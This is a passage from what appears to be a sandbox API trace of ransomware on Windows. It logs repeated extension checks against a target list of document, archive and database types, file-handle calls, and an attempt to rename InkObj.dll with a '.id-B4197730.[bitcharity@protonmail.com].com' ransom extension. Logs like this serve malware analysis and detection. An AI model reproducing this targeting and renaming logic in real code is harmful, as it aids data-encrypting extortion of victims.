(lpString=".zip") returned 4 [0243.789] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.789] lstrlenW (lpString=".rar") returned 4 [0243.789] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.789] lstrlenW (lpString=".bz2") returned 4 [0243.789] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.789] lstrlenW (lpString=".7z") returned 3 [0243.789] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW (lpString=".dbf") returned 4 [0243.789] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW (lpString=".1cd") returned 4 [0243.789] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW (lpString=".jpg") returned 4 [0243.789] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW (lpString=".doc") returned 4 [0243.789] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.789] lstrlenW (lpString=".docx") returned 5 [0243.789] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.789] lstrlenW (lpString=".pdf") returned 4 [0243.789] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.789] lstrlenW (lpString=".xls") returned 4 [0243.790] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.790] lstrlenW (lpString=".xlsx") returned 5 [0243.790] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.790] lstrlenW (lpString=".ppt") returned 4 [0243.790] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.790] lstrlenW (lpString=".zip") returned 4 [0243.790] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.790] lstrlenW (lpString=".rar") returned 4 [0243.790] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.790] lstrlenW (lpString=".bz2") returned 4 [0243.790] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.790] lstrlenW (lpString=".7z") returned 3 [0243.790] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.790] lstrlenW (lpString=".dbf") returned 4 [0243.790] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.790] lstrlenW (lpString=".1cd") returned 4 [0243.790] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.790] lstrlenW (lpString=".jpg") returned 4 [0243.790] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.790] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.791] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0243.836] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=10752) returned 1 [0243.836] CloseHandle (hObject=0x1168) returned 1 [0243.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0243.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.837] lstrlenW (lpString=".doc") returned 4 [0243.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.837] lstrlenW (lpString=".docx") returned 5 [0243.837] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.837] lstrlenW (lpString=".pdf") returned 4 [0243.837] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.837] lstrlenW (lpString=".xls") returned 4 [0243.837] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.837] lstrlenW (lpString=".xlsx") returned 5 [0243.837] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.837] lstrlenW (lpString=".ppt") returned 4 [0243.837] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.837] lstrlenW (lpString=".zip") returned 4 [0243.837] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.837] lstrlenW (lpString=".rar") returned 4 [0243.837] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.837] lstrlenW (lpString=".bz2") returned 4 [0243.837] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.837] lstrlenW (lpString=".7z") returned 3 [0243.837] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.837] lstrlenW (lpString=".dbf") returned 4 [0243.837] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.837] lstrlenW (lpString=".1cd") returned 4 [0243.837] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.838] lstrlenW (lpString=".jpg") returned 4 [0243.838] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.838] lstrlenW (lpString=".doc") returned 4 [0243.838] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.838] lstrlenW (lpString=".docx") returned 5 [0243.838] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.838] lstrlenW (lpString=".pdf") returned 4 [0243.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.838] lstrlenW (lpString=".xls") returned 4 [0243.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.838] lstrlenW (lpString=".xlsx") returned 5 [0243.838] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.838] lstrlenW (lpString=".ppt") returned 4 [0243.838] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.838] lstrlenW (lpString=".zip") returned 4 [0243.838] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.838] lstrlenW (lpString=".rar") returned 4 [0243.838] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.838] lstrlenW (lpString=".bz2") returned 4 [0243.838] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.838] lstrlenW (lpString=".7z") returned 3 [0243.838] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.839] lstrlenW (lpString=".dbf") returned 4 [0243.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.839] lstrlenW (lpString=".1cd") returned 4 [0243.839] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0243.839] lstrlenW (lpString=".jpg") returned 4 [0243.839] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.839] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.839] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0243.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.029] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3072) returned 1 [0244.029] CloseHandle (hObject=0x116c) returned 1 [0244.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0244.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.030] lstrlenW (lpString=".doc") returned 4 [0244.030] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.030] lstrlenW (lpString=".docx") returned 5 [0244.030] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0244.030] lstrlenW (lpString=".pdf") returned 4 [0244.030] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.030] lstrlenW (lpString=".xls") returned 4 [0244.030] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.030] lstrlenW (lpString=".xlsx") returned 5 [0244.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0244.030] lstrlenW (lpString=".ppt") returned 4 [0244.030] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.030] lstrlenW (lpString=".zip") returned 4 [0244.030] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.030] lstrlenW (lpString=".rar") returned 4 [0244.030] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.030] lstrlenW (lpString=".bz2") returned 4 [0244.030] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.030] lstrlenW (lpString=".7z") returned 3 [0244.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString=".dbf") returned 4 [0244.031] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString=".1cd") returned 4 [0244.031] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString=".jpg") returned 4 [0244.031] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString=".doc") returned 4 [0244.031] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.031] lstrlenW (lpString=".docx") returned 5 [0244.031] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0244.031] lstrlenW (lpString=".pdf") returned 4 [0244.031] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.031] lstrlenW (lpString=".xls") returned 4 [0244.031] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.031] lstrlenW (lpString=".xlsx") returned 5 [0244.031] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0244.031] lstrlenW (lpString=".ppt") returned 4 [0244.031] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.031] lstrlenW (lpString=".zip") returned 4 [0244.031] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.031] lstrlenW (lpString=".rar") returned 4 [0244.032] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.032] lstrlenW (lpString=".bz2") returned 4 [0244.032] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.032] lstrlenW (lpString=".7z") returned 3 [0244.032] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.032] lstrlenW (lpString=".dbf") returned 4 [0244.032] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.032] lstrlenW (lpString=".1cd") returned 4 [0244.032] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0244.032] lstrlenW (lpString=".jpg") returned 4 [0244.032] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.032] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.032] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0244.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.083] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=5120) returned 1 [0244.083] CloseHandle (hObject=0x116c) returned 1 [0244.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0244.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.084] lstrlenW (lpString=".doc") returned 4 [0244.084] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.084] lstrlenW (lpString=".docx") returned 5 [0244.084] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.084] lstrlenW (lpString=".pdf") returned 4 [0244.084] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.084] lstrlenW (lpString=".xls") returned 4 [0244.084] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.084] lstrlenW (lpString=".xlsx") returned 5 [0244.084] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.084] lstrlenW (lpString=".ppt") returned 4 [0244.084] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.084] lstrlenW (lpString=".zip") returned 4 [0244.084] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.084] lstrlenW (lpString=".rar") returned 4 [0244.084] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.084] lstrlenW (lpString=".bz2") returned 4 [0244.084] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.084] lstrlenW (lpString=".7z") returned 3 [0244.084] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.084] lstrlenW (lpString=".dbf") returned 4 [0244.085] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.085] lstrlenW (lpString=".1cd") returned 4 [0244.085] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.085] lstrlenW (lpString=".jpg") returned 4 [0244.085] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.085] lstrlenW (lpString=".doc") returned 4 [0244.085] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.085] lstrlenW (lpString=".docx") returned 5 [0244.085] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.085] lstrlenW (lpString=".pdf") returned 4 [0244.085] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.085] lstrlenW (lpString=".xls") returned 4 [0244.085] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.085] lstrlenW (lpString=".xlsx") returned 5 [0244.085] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.085] lstrlenW (lpString=".ppt") returned 4 [0244.085] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.085] lstrlenW (lpString=".zip") returned 4 [0244.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.085] lstrlenW (lpString=".rar") returned 4 [0244.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.085] lstrlenW (lpString=".bz2") returned 4 [0244.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.086] lstrlenW (lpString=".7z") returned 3 [0244.086] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.086] lstrlenW (lpString=".dbf") returned 4 [0244.086] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.086] lstrlenW (lpString=".1cd") returned 4 [0244.086] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0244.086] lstrlenW (lpString=".jpg") returned 4 [0244.086] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.086] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0244.086] lstrlenW (lpString="InkObj.dll") returned 10 [0244.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.121] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2018304) returned 1 [0244.121] CloseHandle (hObject=0x116c) returned 1 [0244.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0244.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.194] lstrlenW (lpString=".doc") returned 4 [0244.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0244.194] lstrlenW (lpString=".docx") returned 5 [0244.194] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0244.194] lstrlenW (lpString=".pdf") returned 4 [0244.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0244.194] lstrlenW (lpString=".xls") returned 4 [0244.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0244.194] lstrlenW (lpString=".xlsx") returned 5 [0244.194] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0244.194] lstrlenW (lpString=".ppt") returned 4 [0244.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0244.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.194] lstrlenW (lpString=".zip") returned 4 [0244.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0244.194] lstrlenW (lpString=".rar") returned 4 [0244.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0244.195] lstrlenW (lpString=".bz2") returned 4 [0244.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0244.195] lstrlenW (lpString=".7z") returned 3 [0244.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0244.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.195] lstrlenW (lpString=".dbf") returned 4 [0244.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0244.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.195] lstrlenW (lpString=".1cd") returned 4 [0244.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0244.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.195] lstrlenW (lpString=".jpg") returned 4 [0244.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0244.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.195] lstrlenW (lpString=".doc") returned 4 [0244.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0244.195] lstrlenW (lpString=".docx") returned 5 [0244.195] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0244.195] lstrlenW (lpString=".pdf") returned 4 [0244.195] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0244.195] lstrlenW (lpString=".xls") returned 4 [0244.195] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0244.195] lstrlenW (lpString=".xlsx") returned 5 [0244.195] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0244.195] lstrlenW (lpString=".ppt") returned 4 [0244.195] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0244.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.196] lstrlenW (lpString=".zip") returned 4 [0244.196] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0244.196] lstrlenW (lpString=".rar") returned 4 [0244.196] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0244.196] lstrlenW (lpString=".bz2") returned 4 [0244.196] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0244.196] lstrlenW (lpString=".7z") returned 3 [0244.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0244.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.196] lstrlenW (lpString=".dbf") returned 4 [0244.196] lstrcmpiW (lpString1=".dbf", 